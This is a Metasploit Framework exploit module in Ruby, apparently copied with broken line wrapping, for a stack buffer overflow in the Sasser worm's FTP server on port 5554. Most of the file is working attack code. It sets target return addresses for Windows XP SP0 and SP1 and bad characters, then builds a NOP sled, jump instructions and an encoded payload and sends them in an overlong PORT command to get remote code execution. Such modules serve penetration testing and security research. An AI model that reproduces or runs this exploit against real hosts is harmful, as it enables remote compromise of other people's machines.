```
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
#
# This Metasploit module exploits the FTP server component of the Sasser worm. By sending an overly
long PORT command the stack can be overwritten.
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

        include Msf::Exploit::Remote::Ftp

        def initialize(info = {})
                super(update_info(info,
                        'Name'                  => 'Sasser Worm avserve FTP PORT Buffer
Overflow',
                        'Description'           => %q{
                                This module exploits the FTP server component of the Sasser
worm.
                                By sending an overly long PORT command the stack can be
overwritten.
                        },
                        'Author'    => [ 'valsmith [at] metasploit.com>', 'chamuco [at] gmail.com>',
'patrick' ],
                        'Arch'                  => [ ARCH_X86 ],
                        'License'   => MSF_LICENSE,
                        'Version'   => '$Revision$',
                        'References'            =>
                                [
                                        [ 'OSVDB', '6197'],
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'thread',
                                },
                        'Platform'  => ['win'],
                        'Privileged'            => false,
                        'Payload'  =>
                                {
                                        'Space'                         => 480,
                                        'BadChars'                      =>
"\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
                                        'StackAdjustment'    => -3500,
                                },
                        'Targets'   =>
                        [
```

```
                                        [ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], #p/p/r
ws2help.dll
                                        [ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], #p/p/r
                                ],
                                'DisclosureDate' => 'May 10 2004',
                                'DefaultTarget' => 1))

                                register_options(
                                [
                                        Opt::RPORT(5554),
                                ], self.class)
        end

        def exploit
                connect

                print_status("Trying target #{target.name}...")

                sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) +
[target['Ret']].pack('V')
                sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded +
make_nops(1530)

                send_cmd( ['PORT', sploit] , false)

                handler
                disconnect
        end

end
```